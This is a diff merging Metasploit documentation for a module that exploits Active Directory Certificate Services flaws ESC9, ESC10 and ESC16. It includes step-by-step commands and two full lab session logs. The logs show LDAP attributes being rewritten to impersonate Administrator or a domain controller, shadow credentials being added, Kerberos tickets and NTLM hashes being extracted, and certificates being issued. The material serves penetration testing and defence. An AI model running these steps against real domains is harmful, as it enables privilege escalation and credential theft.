Merge pull request #20189 from jheysel-r7/feat/mod/esc9-esc10-exploit

Add Exploit Support for ESC9, ESC10 & ESC16

Author: smcintyre-r7

docs/metasploit-framework.wiki/ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md

@@ -0,0 +1,208 @@
+## Vulnerable Application
+This module requests certificates via MS-ICPR (Active Directory Certificate Services) after updating an LDAP object
+attribute, typically on behalf of another user. The certificate's usability depends on the configuration of the
+certificate template, enabling operations such as authentication. PFX certificate files generated by this module are
+encrypted with a blank password.
+
+To perform the LDAP attribute update, the module requires write privileges over the
+target user in the domain. For example, it can modify the userPrincipalName (UPN) or dNSHostName of the target user
+before requesting the certificate. This module leverages the generic auxiliary/admin/ldap/ldap_object_attribute module
+to handle LDAP attribute updates.
+
+
+This module is capable of exploiting ESC9, ESC10, and ESC16.
+
+### Setup
+Follow the instructions [[here|./ad-certificates/overview.md]] to set up an AD CS server that is vulnerable to the scenarios you want to exploit, with the appropriately configured template.
+For detailed information on each ESC attack workflow, refer to the [[AD CS Exploitation Scenarios|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.
+
+## Options
+
+### LDAPUsername
+The username to authenticate to the LDAP server, this must be a user with write access over the `TARGET_USERNAME`.
+
+### LDAPPassword
+The password for the `LDAPUsername` account.
+
+### LDAPDomain
+The domain of the `LDAPUsername`, e.g., `demo.local`.
+
+### CA
+The target certificate authority.
+
+### CERT_TEMPLATE
+The certificate template to issue, e.g., "User".
+
+### TARGET_USERNAME
+The username of the target account whose LDAP object will be updated and for whom the certificate will be requested.
+
+### UPDATE_LDAP_OBJECT
+The LDAP attribute to update, such as `userPrincipalName` or `dNSHostName`.
+
+### UPDATE_LDAP_OBJECT_VALUE
+The new value to set for the specified LDAP attribute, set this to the user name you wish to impersonate, e.g., `Administrator` if you're updating the `userPrincipalName`.
+If you're updating the `dNSHostName`, set this to the desired DNS hostname, e.g., `host.domain.local` (it must be a valid FQDN in this case).
+
+### ALT_UPN
+An alternate UPN (User Principal Name) to set for the target user, e.g., `[email protected]`.
+
+### ALT_SID
+An alternate SID (Security Identifier) to set for the target user, e.g., `S-1-5-21-...`.
+
+### ALT_DNS
+An alternate DNS hostname to set for the target user, e.g., `host.domain.local`.
+
+## Verification Steps
+
+1. Start msfconsole
+1. Do: `use esc_update_ldap_object`
+1. Set the `RHOST`, `LDAPUsername`, `LDAPPassword` and `LDAPDomain` options - note these credentials need to have write access over the `TARGET_USERNAME`
+1. Set `TARGET_USERNAME` to the user you want to update and then request a certificate for
+1. Set the `UPDATE_LDAP_OBJECT` to either `userPrincipalName` or `dNSHostName` depending on the scenario you are exploiting
+1. Set the `UPDATE_LDAP_OBJECT_VALUE` to the value you want to set for the `UPDATE_LDAP_OBJECT`, e.g., `Administrator`
+1. Set `CA` to the name of the CA you want to request a certificate and `cert_template` to the name of the certificate template you want to use
+1. Run the module
+1. This should update the LDAP object attribute and request a certificate for the target user, which will be saved as a .pfx file.
+1. If the target is vulnerable to the scenario you are exploiting, the pfx file will allow for privilege escalation.
+
+## Scenarios
+
+### ESC9 - Update userPrincipalName to Administrator
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
+cert_template => SpencerTest
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
+ca => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for [email protected]
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] No matching entries found - check device ID
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+### ESC9 - Update dnsHostName to `dc2.kerberos.issue`
+```
+ msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
+target_username => Test2$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
+UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
+UPDATE_LDAP_OBJECT => dNSHostName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
+CERT_TEMPLATE => ESC9-Template-Dns
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
+ldapusername => Test1$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of Test2$'s dNSHostName:
+[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
+[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for Test2$
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_windows.ad.cs_384135.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for Test2$
+[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_631833.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for [email protected]
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250730093954_default_172.16.199.200_mit.kerberos.cca_923562.bin
+[+] Found NTLM hash for Test2$: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate DNS: dc2.kerberos.issue
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250730093956_default_172.16.199.200_windows.ad.cs_337994.pfx
+[*] 172.16.199.200:445 - Removing shadow credential
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[+] Deleted entry with device ID 44760c6e-8637-598a-ad8e-04aa4b99ee58
+[*] 172.16.199.200:445 - Reverting ldap object
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Attempting to delete attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue...
+[+] Successfully deleted attribute dNSHostName from CN=Test2,CN=Computers,DC=kerberos,DC=issue
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+
+For more exploit scenarios that this module can exploit, refer to the [[Attacking-AD-CS-ESC-Vulnerabilities|./ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md]] documentation.

documentation/modules/auxiliary/admin/dcerpc/esc_update_ldap_object.md

@@ -61,6 +61,12 @@ Username to request on behalf of. This is in the format `$domain\\$username`.
 
 The digest algorithm to use for cryptographic signing operations.
 
+When set to `true`, the module will use strong URL to SID mapping when requesting a certificate that contains a URL SAN.
+This is done by adding the `tag:microsoft.com,2022-09-14:sid:` part to the SAN which is formatted like so:
+`URL=tag:microsoft.com,2022-09-14:sid:<value>`. This option was introduced to maintain compatibility with older windows
+versions as this is not compatible with versions prior to Windows Server Preview Build 25246.
+[More info](https://techcommunity.microsoft.com/blog/askds/preview-of-san-uri-for-certificate-strong-mapping-for-kb5014754/3789785)
+
 ## Actions
 
 ### REQUEST_CERT